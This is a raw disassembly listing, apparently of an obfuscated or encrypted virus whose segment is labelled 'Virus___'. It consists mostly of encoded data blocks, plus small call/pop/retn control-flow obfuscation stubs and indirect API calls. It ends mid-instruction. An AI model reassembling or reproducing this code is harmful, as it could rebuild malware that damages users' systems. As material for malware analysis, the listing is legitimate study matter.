6AC1D60Bh, 38E0Fh, 8B660000h, 0B8DEh, 8E80000h, 0F9000000h dd 9C808EBh, 89BEF60Dh, 5D29F9B5h, 0BD835A09h, 95D1681h dd 55840F00h, 8B000000h, 5D22999Dh, 9D096009h, 95D07CDh dd 168195FFh, 6A095Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 6629EAC3h, 0E58E381h, 6A613BB2h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0C275C353h, 615BD83h, 0F00095Dh, 1084h, 80FD8A00h dd 0B8DAF6h, 29000000h, 5D13E5BDh, 0B5896009h, 95D1151h dd 2215858Bh, 0B589095Dh, 95D14D5h, 2902C083h, 5D2F1D8Dh dd 29858909h, 6A095D4Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 7371C357h, 5DBD4A51h dd 0C6953F81h, 0FD8AFF00h, 333585C6h, 6A53095Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8BA3C357h, 5D16E195h, 0DD126809h, 53529D67h, 5B5A5B53h dd 0CA243481h, 6A61D695h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 8DBBC352h, 15B5FFFCh dd 6A095D08h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 77F1C356h, 1BD292Fh, 8D095D11h dd 60761385h, 6D958B09h, 0FF095D08h, 56006AD0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0EE2DBDDAh dd 0F281AF79h, 6DBEF30Fh, 11B18589h, 6A095Dh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 25D009C3h dd 0F8C6D20h, 835D0978h, 5D0865BDh, 850F0109h, 129h, 23AEE0BBh dd 319D8941h, 61095D15h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 50C35343h, 890B4BA4h, 5D16118Dh, 3585C609h dd 45095D33h, 35958Bh, 9D29095Dh, 95D1A0Dh, 4E8h, 6038C200h dd 0A820FDAh, 0F000000h, 48Fh, 7EBB6600h, 14E95004h, 0E4000000h dd 0E1163113h, 935437DFh, 0AA59DEF7h, 39BC6D50h, 8B2185E4h dd 52042444h, 4E0CBA66h, 0BB008B5Bh, 47C38F8Bh, 4244489h dd 9E8h, 0E0F31C00h, 0A8EA7025h, 9E939AFh, 0EF000000h dd 0E05416AAh, 47F2DA7Ch, 10E9585Ah, 0E6000000h, 3A6BB97Ah dd 197E4175h, 5004EDB1h, 0FFB5EA67h, 5D0815B5h, 0B5B58909h dd 8D095D0Bh, 60761385h, 0F8D4BA09h, 0D0FF5BBEh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 87C35646h, 8B7C7577h dd 5D12BD9Dh, 81006A09h, 0F44549F2h, 0D0FFF860h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A7C35141h, 8B6602FCh dd 0EDBD83DAh, 1095D03h, 0EA850Fh, 0BA660000h, 858BEA18h dd 95D2215h, 9E9h, 0D366D000h, 0E53CF2E1h, 9EE93B2Eh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0A31BC357h, 0DE909D6h, 2B000000h, 46F64562h dd 8FE7F49Dh, 8D4503DAh, 2820F90h, 0B3000000h, 0BA665004h dd 6A90C30Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 9D37C357h, 2FE106FBh, 0C281668Bh dd 146AF196h, 11159D0Bh, 95FF095Dh, 95D11B1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 38C35747h, 9964971Ch dd 5849B799h, 0E3A830BAh, 388061h, 0FF8A850Fh, 0C6F9FFFFh dd 6A0100h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 19D6F3C3h, 0E86C1DD9h, 51006A61h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 9068D610h dd 14E950A3h, 37000000h, 0B92A2124h, 462D05BBh, 608184DAh dd 0F88672D0h, 5B29E138h, 1075BD83h, 0F00095Dh, 6284h dd 28B0F00h, 8B000000h, 6AFF6AD9h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0FFCDC356h dd 0B94945B7h, 0FF99E6D8h, 5D11B195h, 52006A09h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0B2E973B7h, 8BFFFFFFh, 5D1EA995h, 5D8D8909h, 0C7095D18h dd 5D107585h, 109h, 0AD858900h, 66095D26h, 89E8B6BAh, 5D4D3585h dd 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 552200E0h, 66C90A0Dh, 4CA5DA81h, 10E95090h dd 28000000h, 0AE7B23A4h, 0F6BFAEA0h, 0E040D678h, 90D165A8h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9DC35646h dd 0E810F95h, 0E8000000h, 6, 514EC711h, 0B3B6E7DFh, 0A1BD295Ah dd 60095D33h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 9FC35141h, 1110EFBAh, 81132D00h, 2A687BEBh, 60056A32h dd 1D699589h, 860F095Dh, 6, 2ADBD8Bh, 8D61095Dh, 5D4D4D85h dd 90DE8B09h, 12E851h, 707B0000h, 4B6BB8E0h, 0B52BD1C0h dd 749EF1B1h, 7011E0DFh, 0E8505B5Bh, 0Eh, 2FBF9D53h, 68286FF9h dd 0EE888882h, 0F576E2Eh, 8Fh, 905B5A00h, 358D01h, 858D095Dh dd 95D4D3Dh, 665051B6h, 89D353BAh, 7E82404h, 42000000h dd 45BBF923h, 0F88AABB5h, 8D95FF5Bh, 89095D29h, 5D2F4585h dd 278D8D09h, 6A095D7Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 3D1AC357h, 353495DBh dd 5A01B253h, 1174C00Bh, 4D4D858Dh, 0FF50095Dh, 6B8589D1h dd 0EB095D4Dh, 6B85C70Ah, 0FF095D4Dh, 0B7FFFFFFh, 6A61D7h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0D34110C3h, 294605CAh, 5D029D85h, 3585C609h, 4D095D33h dd 5880Fh, 81660000h, 687A07C3h, 6DC0C12Bh, 9E8h, 0F77D100h dd 0A4CB30BDh, 14E86FA4h, 5F000000h, 33005787h, 0B1C53559h dd 0B03E0E1h, 652E2753h, 669642C7h, 5B5BDA8Bh, 7D240481h dd 893674B5h, 5D07E995h, 9D9D0B09h, 0FF095D1Eh, 5D3075B5h dd 89F1B309h, 5D1EE1BDh, 13858D09h, 8B096076h, 5D06F195h dd 0BAD0FF09h, 6F980E02h, 215DBD29h, 8589095Dh, 95D1659h dd 4840Fh, 0F8600000h, 85C661F8h, 95D3335h, 9D958B45h dd 0E8095D1Eh, 4, 8E726969h, 2860Fh, 0D8B60000h, 8BDA8B50h dd 0BB042444h, 9AA355h, 0D68B008Bh, 4244489h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0E9601B50h, 5, 0A1895216h, 15B5FF67h, 8B095D08h, 13858DD6h dd 66096076h, 0D0FFD78Bh, 0BECBC381h, 85893DEEh, 95D02BDh dd 2EE99D89h, 0D28B095Dh dd 1D258501h, 8C66095Dh, 0F1958BD9h, 0F6095D06h, 840F04C1h dd 275h, 29799531h, 31E9095Dh, 89000001h, 5D265D9Dh, 0C5B58B09h dd 0E9095D24h, 0Bh, 0F8ABE0F9h, 0F8DDF3E7h, 8156AED9h dd 1180C6h, 0AE800h, 0C0270000h, 0BC489E9Dh, 0BF6CBA4Ah dd 10199503h, 0F5B095Dh, 0BD83D0BFh, 95D0315h, 9850F00h dd 0B6000000h, 0D6E9FCh, 0D78B0000h, 0F003E83h, 0CB84h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 6C23877Bh, 81F4B376h, 4359C7E2h, 6A6003h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 7D0A39C3h, 0B22DB9E4h, 8B5707A8h, 5D25E59Dh, 146A5A09h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 97C35646h dd 860FAC5Ch, 0 ; --------------------------------------------------------------------------- call dword ptr [ebp+95D11B1h] add [ebp+95D22ADh], edi popa push 0 push ecx call sub_570460 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_570460 proc near ; CODE XREF: Virus___:00570458p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_570460 endp ; --------------------------------------------------------------------------- dd 52C57CE1h, 9AB96B56h, 15958Bh, 0E9F9095Dh, 0FFFFFF40h dd 0BA99D01h, 9E9095Dh, 0D2000000h, 6A36571Dh, 1C12136Fh dd 106C7h, 9D890000h, 95D0FF1h, 4D35BD83h, 0F05095Dh, 12C85h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 797D1197h, 0FDBAAE5Ch, 8B205095h, 5D02BDB5h dd 0DF8B6609h, 64B9h, 0DD9D8900h, 80095D02h, 840FE83Eh dd 4Bh, 68B0Fh, 0BD890000h, 95D04D1h, 0FE8h, 0AB104900h dd 0F9AE72C8h, 0D21F5C18h, 81BEE0C6h, 23319D8Bh, 0E95A095Dh dd 55h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h dd 0EC35343h, 805A5672h, 0FC2057Eh, 8D84h, 13E800h, 69CC0000h dd 8DD8E6h, 8546AE49h, 0B04D103Bh, 0CEBA1C6Dh, 0EE9BDh dd 80AF0000h, 0D15F096Ah, 0ADC59948h, 0C32B5778h, 6A465Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0C9091CC3h, 9D09B8E6h, 95D1D15h, 49DABF0Fh, 0FF45850Fh dd 32E9FFFFh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 5AD6C355h, 0DA445605h dd 7D85892Ah, 66095D2Bh, 0B589DF8Bh, 95D1F11h, 958958F8h dd 95D2095h, 1EB5BD83h, 0F00095Dh, 12884h, 0D2816600h dd 6A605D18h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0FEFAC353h, 81E3AFD2h, 5BBE0FEAh dd 3585C651h, 54095D33h, 619B589h, 7768095Dh, 60DCC008h dd 5E95250h, 0B0000000h, 2F9E1AA6h, 860F310Fh, 0 dd 6060585Ah, 0F525061h, 61585A31h, 24348161h, 238EB683h dd 0FFD0B70Fh, 5D0815B5h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 667AE338h dd 8E8D88Bh, 63000000h, 3154EDC1h, 81663711h, 62EEBECAh dd 858D5B58h, 9607613h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0A6C35242h, 0E9D0FFF1h, 7, 0EF43FD19h dd 0F838803h, 68Dh, 31950300h, 6A095D1Bh, 11958B00h, 0FF095D06h dd 5D1EB5B5h, 9958B09h, 0FF095D31h, 6860FD0h, 8B000000h dd 5D20219Dh, 6A6109h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 219A1C3h, 0B388CD41h, 6985C7E9h dd 1095D31h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 968CC356h, 6A60A4h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0CD950AC3h, 8BC24894h, 5D0BA995h, 4E809h, 800000h, 0E8600000h dd 13h, 0B4A38119h, 0E95736BAh, 0B0593499h, 53AC1D99h dd 666FB4F6h, 5058DA8Bh, 50506158h, 28BB6652h, 0E9310FF2h dd 14h, 406E003Ch, 0EAC15688h, 0ED08F60Fh, 74DBD695h, 0B6057ADAh dd 448B585Ah, 50510424h, 0F525052h, 0F585A31h, 5A616031h dd 8B5B58h, 89DE8B66h, 0BA042444h, 6905BB77h, 55006A58h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 376E81CAh, 8B662A1Dh, 0F8FF6AD8h, 48C0Fh, 0BA660000h dd 95FFF0DEh, 95D0769h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 9CC35545h, 0CA8166FFh, 6A612EFDh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0B725C350h, 507FB2FCh, 0E1468CBAh, 24048915h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 89C35141h, 0AD2567A1h dd 0A8BACB58h, 8B62F5F2h, 5D09BD85h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 29DE8730h dd 0DB93B838h, 0C18B6660h, 66B2B560h, 616FC2BEh, 919D8B61h dd 0B095D27h, 0E840FC0h, 8A000000h, 4995FFFEh, 8B095D29h dd 5D05199Dh, 8585C709h, 1095D2Ah, 31000000h, 5D234585h dd 0A1BD8309h, 95D1Ah, 38840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5D9A96C3h dd 19958B51h, 5A095D2Fh, 0EFD9D29h, 95FF095Dh, 95D1A95h dd 1491958Bh, 0BD83095Dh, 95D1225h, 10840F00h, 89000000h dd 5D1305B5h, 8995FF09h, 66095D30h, 838C0EBAh, 5D27B5BDh dd 840F0009h, 2Eh, 2A81B589h, 0BD83095Dh, 95D10BDh, 1B850F00h dd 0F000000h, 282h, 0FFDE8B00h, 5D227595h, 81666009h, 0F7E46F6h dd 81h, 0BD836100h, 95D1495h, 47840F00h, 0E9000000h, 9 dd 56757118h, 9719FC34h, 0AD85817Bh, 3095D10h, 1000040h dd 5D2139B5h, 952B5709h, 95D2F7Dh, 1185815Ah, 3095D13h dd 0E8000040h, 0Dh, 7927340Fh, 0F1C57586h, 8C385D4Ah, 0F5AF868h dd 310FDAB7h, 5E6D8D8Dh, 6A095Dh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 39173EC3h, 0E86223FDh dd 12h, 0F195C641h, 20E6C1BAh, 0CC2D5BA4h, 5F86976h, 0BF0F278Ch dd 1895BD0h, 850F1FB3h, 3, 33D68B66h, 51006AC2h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0F2E02A5Eh, 45BB6625h, 4852BB35h, 4189458Ch, 0BD852904h dd 0F095D13h, 0F3816631h, 8D8DAA88h, 95D5E85h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 5CC35545h, 6820Fh dd 958B0000h, 95D2235h, 31958D09h, 189095Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B1C35343h, 8166B134h dd 8AB530F3h, 8BC233F1h, 44189DEh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0F5C35343h, 0BBEFFE41h, 0C36DB15h dd 0DE9h, 6FEC600h, 7C3611CEh, 3F71ED0h, 9D8B2C50h, 95D10CDh dd 1785BD83h, 0F00095Dh, 4284h, 38D0F00h, 80000000h, 95FFC4F6h dd 95D1719h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 9AC35747h, 60BDBF3Bh, 0CE95A7Ch, 93000000h, 38FA16E8h dd 0EB316E73h, 83A00700h, 5D0531BDh, 850F0109h, 63h, 0C880Fh dd 7E90000h, 2000000h, 8BD844BCh, 4CE987A7h, 8B000000h dd 5D0C4D9Dh, 3EB58B09h, 0C7095D60h, 6, 0B5B58B00h, 0C7095D5Dh dd 6, 0F78ACF00h, 6AD98B66h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0B572C357h, 0ED54F972h dd 783B6D29h, 83D9B70Fh, 5D2A85BDh, 840F0009h, 1ADh, 2111BD83h dd 0F01095Dh, 19085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 90E8BD77h, 0FF20C723h dd 1CF99D89h, 8D8B095Dh, 95D4D29h, 5F99D8Bh, 11E9095Dh dd 0B0000000h, 207BCDB2h, 909CE2E3h, 6C58B897h, 234A3755h dd 0E90001C6h, 0Fh, 5AE966B6h, 0CD03222Eh, 78AB6022h, 60C460B5h dd 0FE9h, 2EC2A100h, 30C15CDAh, 0A281B6EFh, 3B28D89Bh dd 4E8h, 8000h, 10E800h, 3CD10000h, 58D95A72h, 0D648B57h dd 588DA0A3h, 0A7B350ABh, 5052505Ah, 8B310F52h, 5A585AD7h dd 424448Bh, 12E9h, 0B934B900h, 0E19036DDh, 0AA3B0711h dd 0A00CBAEAh, 8B1AEE9Ch, 89C3B300h, 66042444h, 6A58D78Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0FB4CC350h, 92CF2037h, 6AF08A4Fh, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 45531115h, 0BF0FEADDh, 6995FFD8h, 6A095D07h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8BAAC352h, 13E9DEh, 0B8A0000h, 44262098h, 12DCE2Ah dd 0E0AD7D5Dh, 5533BCDFh, 5EE8BBD4h, 96135B0h, 5D06C5B5h dd 4995FF09h, 8B095D11h, 5D14E995h, 298D8B09h, 0F5095D4Dh dd 0E96001FEh, 12h, 4D7E0D01h, 0C208153Eh, 80BA764Fh, 4DCD444Fh dd 958BB50Bh, 95D0905h, 0D9BD8361h, 1095D09h, 3850Fh, 0DA800000h dd 6AC08B1Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 8772C356h, 0D792A7B0h, 3AE90633h dd 0F18496BAh, 9BD831Bh, 95D18h, 0BD830975h, 95D0329h dd 501A7400h, 8BC08B53h, 5D10AD85h, 0AD858909h, 8D095D10h dd 5FAA619Dh, 5BD3FF09h, 29BD8358h, 95D03h, 53501874h dd 10AD858Bh, 8589095Dh, 95D10ADh, 0A7509D8Dh, 0D3FF095Fh dd 8166585Bh, 0E9BA1EDBh, 11h, 0E251FB46h, 4883F072h, 0B3A0C9EBh dd 0F1FEFCFh, 66C08BD5h, 0CD26E381h, 2A85BD83h, 0F00095Dh dd 2E85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 83C7A05Dh, 5D1EE5BDh dd 840F0009h, 3, 8388DA80h, 5D2A85BDh, 840F0009h, 18h dd 0CAD958Bh, 0BD83095Dh, 95D31B9h, 5840F00h, 66000000h dd 5F5DF381h, 2A85BD83h, 0F00095Dh, 1984h, 319D8B00h, 83095D07h dd 5D31B9BDh, 840F0009h, 6, 285D958Bh, 0BD83095Dh, 95D2A85h dd 19840F00h, 89000000h, 5D063D85h, 0F9BD8309h, 95D0Bh dd 6840Fh, 0BD290000h, 95D13B1h, 2A85BD83h, 0F00095Dh dd 9884h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 4BAE749Fh, 0D6B88545h, 0BD894B80h dd 95D1479h, 1641BD83h, 0F00095Dh, 6084h, 9E900h, 5420000h dd 551EFE8Eh, 0FFAC1311h, 5D090995h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0B8AFA1C1h dd 4237DD80h, 11E8h, 0C9DF9300h, 0FCF4F46Ch, 769D6859h dd 50FE88F8h, 6660C011h, 0E3C5C381h, 310DBD29h, 5A61095Dh dd 41B38DBAh, 6AC08B00h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0BD16C350h, 81609831h dd 27BA54C3h, 999D0B31h, 61095D22h, 1809BD83h, 7500095Dh dd 29BD8309h, 95D03h, 53501A74h, 858BC08Bh, 95D1311h, 13118589h dd 9D8D095Dh, 95FAAC8h, 585BD3FFh, 329BD83h, 7400095Dh dd 8B535018h, 5D131185h, 11858909h, 8D095D13h, 5FA7699Dh dd 5BD3FF09h, 0D68B6658h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0C4C35747h, 8A800FA4h, 13A9BD29h, 0C08B095Dh dd 0CDD8D89h, 0BD83095Dh, 95D2A85h, 45840F00h, 6A000004h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0C5AFC353h, 0D0754363h, 12E971h, 412B0000h dd 1EA4B554h, 234C1263h, 2A6DDEA3h, 0D3FD29DDh, 865BD83h dd 0F02095Dh, 5F84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 8806A096h, 0E8DFBD2Ch dd 9, 0E9C8E845h, 188692A4h, 0BF666063h, 0C080337Fh, 835B61BBh dd 5D0531BDh, 850F0109h, 18h, 10E9h, 1C367100h, 9AF01375h dd 0AD8DDFF7h, 0B35BE270h, 0AFCE8098h, 0F3816660h, 8D8B275Dh dd 95D4D29h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 35C35646h, 3AFE92ECh, 0FD2E4F8Ah, 0EE9h, 0EDDE2300h dd 0E652F1Bh, 0D65C8128h, 0FEA2EFDCh, 6860F01h, 81000000h dd 9711ADEBh, 36036874h, 9E812D6h, 7B000000h, 100C8AB9h dd 95B34634h, 0F08A5250h, 860F310Fh, 0 ; --------------------------------------------------------------------------- pop edx pop eax pop ebx xor dword ptr [esp], 12D63683h push 0 push ecx call sub_571149 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_571149 proc near ; CODE XREF: Virus___:00571141p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_571149 endp ; --------------------------------------------------------------------------- scasb db 2Eh adc ebx, 40F1AFF8h push 0FFFFFFFFh mov bx, 0F9EBh call dword ptr [ebp+95D0769h] push 0 push ecx call sub_571178 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_571178 proc near ; CODE XREF: Virus___:00571170p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_571178 endp ; --------------------------------------------------------------------------- push es enter 4FC7h, 25h lds esp, [ecx] jmp loc_57119E ; --------------------------------------------------------------------------- dd 93E45FB6h, 0C7096247h ; --------------------------------------------------------------------------- mov dh, 29h loc_57119E: ; CODE XREF: Virus___:0057118Fj popa or [ebp+95D20C1h], eax lea edi, [ebp+95D0A5Dh] push 0 push edi call sub_5711B6 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5711B6 proc near ; CODE XREF: Virus___:005711AEp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5711B6 endp ; --------------------------------------------------------------------------- dw 0F05Ch ; --------------------------------------------------------------------------- dec ebp adc [ebx+6A1C4Fh], cl push edx call sub_5711D8 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5711D8 proc near ; CODE XREF: Virus___:005711D0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5711D8 endp ; --------------------------------------------------------------------------- dd 0D677D216h, 2B078195h, 0F48A5753h, 6A016A5Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0EA05C355h, 60079D6Bh, 29019D89h, 8B66095Dh, 669161F9h dd 50534FBAh, 15D1BA66h, 50006A91h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 1045ECF6h, 0B663897h dd 858D2C14h, 960329Ch, 0D0FFFAB2h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 3C35545h, 8B8BBE8Ah, 9D89204Fh dd 95D22B9h, 6AD0BF0Fh, 0FE803h, 0CF1D0000h, 6FDBBF29h dd 2D585FBAh, 787A6F1Bh, 5BFAB64Ah, 7FCB8166h, 5250505Ch dd 0EE960h, 7BDE0000h, 0C81E3BDBh, 0AD6AFC4Fh, 0B35EAF97h dd 890Fh, 0F610000h, 5AD58A31h, 240C8958h, 0CE8h, 90205200h dd 4E63BA2Bh, 49E52995h, 0D58D2919h, 5A095D25h, 329C858Dh dd 85090960h, 95D02A5h, 0EF80D0FFh, 0B1958B7Ch, 8D095D0Bh dd 5D0A5DBDh, 0A6F38109h, 8B4119C9h, 85891C4Fh, 95D28E1h dd 6A016Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 2359F9C3h, 5D2F7D9Dh, 0DF8B9109h, 9E950h dd 7A880000h, 2D466CBh, 9116E0EEh, 6084BA66h, 329C858Dh dd 85890960h, 95D1911h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 898B3AC3h, 5D0B618Dh dd 219D8909h, 8B095D04h, 9D8B204Fh, 95D02E9h, 0FF9894BAh dd 60036A16h, 51F82FBEh, 0D08B6648h, 60609161h, 8B66D98Bh dd 0B86661F2h, 5061345Dh, 0BA665250h, 310F2351h, 0F91585Ah dd 682h, 9D958B00h, 8D095D2Bh, 60329C85h, 118D0109h, 0FF095D16h dd 1D9589D0h, 8B095D18h, 5D4D298Dh, 0DFB70F09h, 0DF8B01FEh dd 4D29858Bh, 0BF0F095Dh, 6A00FED7h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0B8DCC353h dd 2B519D89h, 8501095Dh, 95D08F9h, 6A016Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0C33025C3h dd 723CD381h, 0EB8152B6h, 60BE7A0Fh, 34A4B868h, 240481C2h dd 3DCAFB47h, 38C0Fh, 8B660000h, 0A6858DDEh, 0FC096032h dd 3DB7D0FFh, 1EE5BD83h, 0F00095Dh, 0E484h, 51852900h dd 83095D16h, 5D0971BDh, 850F0109h, 0D1h, 0D99D8B51h, 5A095D0Bh dd 32B08D8Dh, 9D890960h, 95D1EE9h, 645B529h, 36A095Dh dd 846EBB66h, 6A016Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0D65B17C3h, 14830Fh, 0FE90000h dd 0F9000000h, 0ECDF504Ch, 25AEA67Ch, 0AEA9BD3Eh, 0D1FF5166h dd 0A1953150h, 5A095D2Bh, 9D23016Ah, 95D0A45h, 958B016Ah dd 95D2091h, 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0DD1B8BC3h, 0D0536650h, 5E8h, 0E4896F00h dd 6E9B615h, 0A6000000h, 0BE276309h, 0E9525A9Eh, 0Bh, 1A3FC0F9h dd 7EA890Dh, 5A3F8A8Ah, 2F25958Bh, 67E8095Dh, 9F6FE6Ch dd 5D15F1B5h, 0E9206A09h, 11h, 8F448180h, 0C51EAE51h, 78E0306Ch dd 2AEBD390h, 0E8FF6AEBh, 13h, 2B0C1371h, 0D60993A6h, 0E5A30067h dd 5973F92Bh, 0F1E7FF5h, 0FF5AD7B7h, 5D076995h, 8DB58909h dd 0B8095D0Fh, 0 ; --------------------------------------------------------------------------- push edi mov ebx, [ebp+95D3055h] pop ebx or eax, eax jz loc_5715F2 mov edx, [ebp+95D0931h] cmp dword ptr [ebp+95D0851h], 0 jz loc_5715F2 xor bx, 0D4DFh call dword ptr [ebp+95D1411h] push 0 push ecx call sub_5715D5 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5715D5 proc near ; CODE XREF: Virus___:005715CDp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5715D5 endp ; --------------------------------------------------------------------------- db 79h, 6Ch, 84h ; --------------------------------------------------------------------------- and ebx, [ebx-5BCA21C5h] sahf and dh, 0A9h loc_5715F2: ; CODE XREF: Virus___:005715A6j ; Virus___:005715B9j mov eax, [ebp+95D2215h] push 0 push eax call sub_571603 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_571603 proc near ; CODE XREF: Virus___:005715FBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_571603 endp ; --------------------------------------------------------------------------- db 0ADh dd 2576E00Eh, 1958B36h, 0C6095D1Dh, 0B5890000h, 95D1991h dd 9D9D8B58h, 66095D24h, 958BD98Ch, 95D3101h, 0F04C1F6h dd 8A84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 13042660h, 0CAFFEA51h, 9523C989h dd 95D2B85h, 0E9F8CA80h, 57h, 3998D89h, 958B095Dh, 95D24C9h dd 24C5B58Bh, 8589095Dh, 95D3301h, 6850Fh, 85290000h, 95D1125h dd 1180C681h, 890F0000h, 19h, 14E9h, 88DAF200h, 0F1FF3770h dd 1573757Ch, 8226366Bh, 0D008E3E6h, 391BBB6Ah, 6C74C13h dd 0 ; --------------------------------------------------------------------------- mov bx, cx pop esi push 0 push edx call 